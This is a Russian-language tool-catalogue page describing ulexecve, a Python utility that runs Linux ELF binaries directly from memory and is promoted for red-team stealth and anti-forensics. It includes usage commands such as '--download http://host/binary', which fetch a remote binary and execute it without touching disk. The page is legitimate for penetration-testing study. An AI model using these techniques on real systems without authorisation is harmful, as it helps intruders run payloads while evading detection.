Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ulexecve — Выполняет произвольные ELF-бинарники напрямую из памяти на Linux, не касаясь диска, что обеспечивает скрытные операции красной команды и антикриминалистические действия с помощью одного Python-скрипта. | Kitploit
Инструменты/GitHubGitHub/anvilsecure/ulexecve
Криминалистика памятиЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеУтилиты и фреймворкиRed Teaming
GitHubanvilsecure/ulexecve

ulexecve

Выполняет произвольные ELF-бинарники напрямую из памяти на Linux, не касаясь диска, что обеспечивает скрытные операции красной команды и антикриминалистические действия с помощью одного Python-скрипта.

Репозиторий
214202 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

Быстрый старт

Выполняйте динамические или статически скомпилированные ELF-бинарники в Linux без вызова execve().

root@kitploit:~
cat /bin/echo | ulexecve - hello
hello

Введение

Этот инструмент на Python называется ulexecve и расшифровывается как userland execve. Он помогает выполнять произвольные ELF-бинарники в Linux из пользовательского пространства без вызова системного вызова execve(). Другими словами: вы можете выполнять произвольные бинарники напрямую из памяти, не записывая их на диск. Это очень полезно с точки зрения анти-форензики или red-teaming, позволяя передвигаться более скрытно, при этом загружая скомпилированные бинарники на целевые машины. Инструмент работает на CPython 3.x, а также CPython 2.7 (и, возможно, более ранних версиях) на поддерживаемых платформах Linux (x86, x86-64 и aarch64). Поддерживаются как статические, так и динамически скомпилированные ELF-бинарники. Конечно, всегда будет небольшое подмножество бинарников, которые могут не сработать или привести к сбою; для них реализован 100% надёжный метод возврата на основе современного системного вызова memfd_create().

Предыстория

Инструменты для userland execve в Linux имеют историю примерно два десятилетия. Первые основательные статьи на эту тему были написаны the grugq в The Design and Implementation of Userland Exec [1], а также в другой статье в Phrack 62 [2]. Методы анти-форензики для выполнения бинарников прямо из памяти довольно стандартны. Например, в mettle от Rapid7 есть библиотека с именем libreflect, которая включает утилиту noexec, также пытающуюся выполнить ELF только через рефлексию. Однако этот инструмент написан на C и имеет неявное требование: необходимо перенести бинарник noexec на целевую систему, а также иметь возможность его выполнить.

В современных контейнерных средах это далеко не всегда возможно. Однако многие контейнерные среды содержат установку Python. Возможность просто скачать Python-скрипт через curl или подобным образом на целевую машину, а затем выполнить этот скрипт для скрытного запуска произвольных бинарников, очень полезна с точки зрения анти-форензики.

Это также причина, по которой весь инструмент реализован в одном файле. Это упрощает его загрузку на целевые системы и избавляет от необходимости устанавливать какие-либо другие зависимости перед запуском. Инструмент протестирован с Python 2.7, хотя эта версия Python устарела. На многих системах всё ещё работают версии 2.x, так что это полезно.

До этого не существовало хороших реализаций Python userland execve(). Существовал SELF [3], который не был подробно документирован, не имел простых опций отладки и, что более важно, вообще не работал. Реализация ulexecve написана с нуля. Она парсит ELF-файл, также загружает и парсит динамический линковщик (если нужно), отображает все сегменты в память и, в конечном итоге, конструирует буфер перехода, содержащий инструкции процессора для передачи управления от процесса Python непосредственно к загруженному бинарнику.

Вся общая логика парсинга ELF, настройки стека, отображения сегментов ELF и создания буферов перехода абстрагирована, так что перенести её на другой процессор достаточно просто (в порядке нескольких часов). Перенос на другие платформы на основе ELF, такие как BSD, может потребовать немного больше усилий, но всё равно должен быть довольно прямолинейным. Для получения дополнительной информации о том, как это сделать, просто посмотрите комментарии в коде.

Обратите внимание, что явной целью дизайна является отсутствие внешних зависимостей и реализация всего в одном файле исходного кода. Если вам нужно сделать меньшие по размеру полезные нагрузки, будет довольно тривиально удалить поддержку определённых типов процессоров или вырезать всю отладочную информацию и другие опции.

Установка

Установка через pip

Хотя это мало имеет смысла с точки зрения анти-форензики, инструмент можно установить через pip.

root@kitploit:~
pip install ulexecve
ulexecve --help

Сборка и установка как пакет Python

root@kitploit:~
python setup.py sdist
python -m pip install --upgrade dist/ulexecve-<version>.tar.gz
ulexecve --help

Загрузка и запуск через curl

root@kitploit:~
curl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py
./ulexecve.py --help

Использование

Инструмент полностью поддерживает статические и динамически скомпилированные исполняемые файлы. Просто передайте имя файла бинарника в ulexecve и любые аргументы, которые вы хотите передать бинарнику. Окружение будет скопировано напрямую из среды, в которой вы выполняете ulexecve.

root@kitploit:~
ulexecve /bin/ls -lha

Вы можете заставить его читать бинарник из stdin, указав - в качестве имени файла.

root@kitploit:~
cat /bin/ls | ulexecve - -lha

Чтобы загрузить бинарник в память и сразу выполнить его, используйте --download. Это заставит интерпретировать аргумент имени файла как URI.

root@kitploit:~
ulexecve --download http://host/binary

Для отладки доступно несколько опций. Если происходит сбой, вы можете показать отладочную информацию с помощью --debug, построенный стек с помощью --show-stack, а также сгенерированный буфер перехода --show-jumpbuf. Опция --jump-delay очень полезна, если вы хотите правильно разобрать и отобразить ELF, а затем подключить отладчик для пошагового прохождения буфера перехода и конечного выполняемого бинарника, чтобы найти причину сбоя.

root@kitploit:~
cat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello
...
PT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70
Loaded interpreter successfully
Stack allocated at: 0x7fddf630e000
vDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000
Auxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064
stack contents:
 argv
   00000000:   0x0000000000000002
   00000008:   0x00007fddf6312410
...
Generated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22)
Generated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8)
Generated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8)
Generating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000
Jumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000
Written jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes)
Executing: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin
...
245:   00 00 00
248:   4c 01 d9                add    %r11,%rcx
24b:   48 31 d2                xor    %rdx,%rdx
24e:   ff e1                   jmpq   *%rcx
...
Memmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250)
hello

Всегда есть опция --fallback. Она не такая скрытная, как самостоятельный разбор и отображение бинарников в пользовательском пространстве. Метод возврата использует memfd_create() и fexecve(), но он должен работать в 100% случаев для выполнения произвольных статических или динамических бинарников. При условии, что предоставленные бинарники являются правильными для вашей платформы, очевидно.

Ограничения

Очевидно, вы всегда можете столкнуться с бинарниками, которые не будут выполняться должным образом. Однако эта реализация довольно чистая и хорошо протестирована (она включает модульные тесты для статических и динамических бинарников, PIE-скомпилированных исполняемых файлов и исполняемых файлов с различными средами выполнения, такими как Rust или Go). Для большинства инструментов и бинарников на упомянутых платформах она должна сработать. Но результаты могут различаться. Бинарники, созданные установочными упаковщиками, которые встраивают другую информацию внутрь ELF, могут работать неправильно в зависимости от используемых трюков с самореференцией. Однако для бинарников PyInstaller в ulexecve был добавлен специальный метод возврата.

Бинарники PyInstaller

Бинарники, созданные с помощью PyInstaller, не будут работать напрямую. Этим бинарникам требуется сопутствующий файл пакета или, в большинстве случаев, они встраивают внутрь ELF дополнительные данные, необходимые для распаковки и правильной работы после запуска встроенного интерпретатора Python. Это означает, что их нельзя заставить работать правильно. Есть несколько способов обойти это. Простой способ, который может сработать в подмножестве реальных случаев, предполагает наличие доступной для записи временной файловой системы. Тогда мы заменяем строку /proc/self/exe в бинарнике на /tmp/xxxx. После этого мы загружаем бинарник в память через memfd_create(), а затем указываем символическую ссылку на /tmp/xxxx на /proc/<pid>/fd/<fd> на файл в памяти. Чтобы попробовать этот вариант, используйте --pyi-fallback. Если вам нужно указать другую временную директорию, используйте --tmpdir. Обратите внимание, что результирующий путь, включая tmpdir, должен иметь точно такую же длину в байтах, как и строка /proc/self/exe (14 байт), так что более длинные пути не сработают.

root@kitploit:~
$ cat > h.py
print("hello")
$ pyinstaller -F -c h.py
...
$ cat ./tmp/dist/h  | ./ulexecve.py -
[5064] Cannot open PyInstaller archive from executable (/usr/bin/python2.7) or external archive (/usr/bin/python2.7.pkg)
$ cat ./tmp/dist/h  | ./ulexecve.py --pyi-fallback -
hello

Перенос

При переносе на другую платформу убедитесь, что небольшое количество модульных тестов работают. Просто запустите включённый ./test.py на целевой платформе и исправляйте всё до тех пор, пока все эти тесты снова не будут успешно проходить.

Ошибки, комментарии, предложения

Отправляйте pull-request через github, создавайте issue в трекере проблем или просто отправляйте письмо на [email protected].

Ссылки

  1. "The Design and Implementation of Userland Exec", by the grugq.

  2. "FIST! FIST! FIST! Its all in the wrist: Remote Exec", by grugq, Phrack 62-0x08, 2004-07-13.

  3. Implementation of SELF in Python, by Maciej Kotowicz (mak).

Скачать инструмент